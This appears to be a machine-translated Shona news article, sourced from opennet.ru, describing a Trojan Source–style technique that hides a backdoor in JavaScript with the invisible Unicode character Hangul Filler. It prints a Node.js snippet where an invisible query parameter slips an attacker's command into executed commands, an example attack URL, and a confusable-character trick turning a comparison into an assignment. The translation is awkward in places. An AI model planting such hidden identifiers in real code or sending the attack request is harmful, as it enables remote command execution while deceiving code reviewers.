Uchishandisa zvisingaoneki mavara eunicode kuvanza zviito muJavaScript kodhi

Kutevera nzira yeTrojan Source yekurwisa, iyo yakavakirwa pakushandiswa kweiyo Unicode mavara anoshandura kurongeka kweratidziro yebidirectional zvinyorwa, imwe nzira yekusuma zviito zvakavanzika yakadhindwa, inoshanda kuJavaScript kodhi. Iyo nzira nyowani yakavakirwa pakushandiswa kweiyo unicode hunhu "ㅤ" (code 0x3164, "HANGUL FILLER"), inova yechikamu chemavara, asi isina zvinooneka. Iyo Unicode chikamu chiri mairi chimiro chakabvumidzwa kubvira ECMAScript 2015 yakatarwa kuti ishandiswe mumazita eJavaScript akasiyana, zvichiita kuti zvikwanisike kugadzira zvisingaonekwi kana mitsva yakasiyana-siyana isingaonekwe kubva kune mamwe madhiri muvanozivikanwa kodhi edhita seNotepad ++ uye VS Code.

Semuenzaniso, kodhi yepuratifomu yeNode.js inopihwa, umo, uchishandisa shanduko ine hunhu mumwechete “ㅤ”, backdoor yakavanzwa inobvumira kuita kodhi yakataurwa neanorwisa: app.get('/ network_health', async (req, res) => {const {timeout,ㅤ} = req.query; // chaizvoizvo inoti "const {timeout,ㅤ\u3164}" const checkCommands = ['ping -c 1 google. com', 'curl -s http:// example.com/',ㅤ // koma inoteverwa nechimiro \u3164 ];

Pakutanga kutarisa, kukosha kwekupedza nguva chete kunopfuudzwa nekunze kweparameter, uye hurongwa hune mirairo inofanira kuurayiwa ine isina kukuvadza yakagadziriswa rondedzero. Asi chokwadi, mushure mekusiyana kwekufamba kwenguva, kukosha kweimwe shanduko isingaoneki ine kodhi yehunhu \u3164 inopihwa, iyo inotsiviwa zvakare muhurongwa hwemirairo inogona kuitiswa. Saka, kana dhizaini yakadai iripo, munhu anorwisa anogona kutumira chikumbiro senge "https://host:8080/network_health?%E3%85%A4=command" kuti avhure backdoor uye aite kodhi yavo.

Mumwe muenzaniso hunhu "ǃ" (ALVEOLAR CLICK), iyo inogona kushandiswa kupa chimiro chekuratidza poindi yekudanidzira. Semuenzaniso, chirevo chekuti "if(environmentǃ=ENV_PROD){" kana chaitwa muNode.js 14 chichagara chiri chechokwadi, sezvo chisingatarise musiyano, asi chinopa kukosha kweENV_PROD kune musiyano "environmentǃ". Mamwe mavara eunicode anorasisa anosanganisira "／", "−", "＋", "⩵", "❨", "⫽", "꓿" uye "∗".

Source: opennet.ru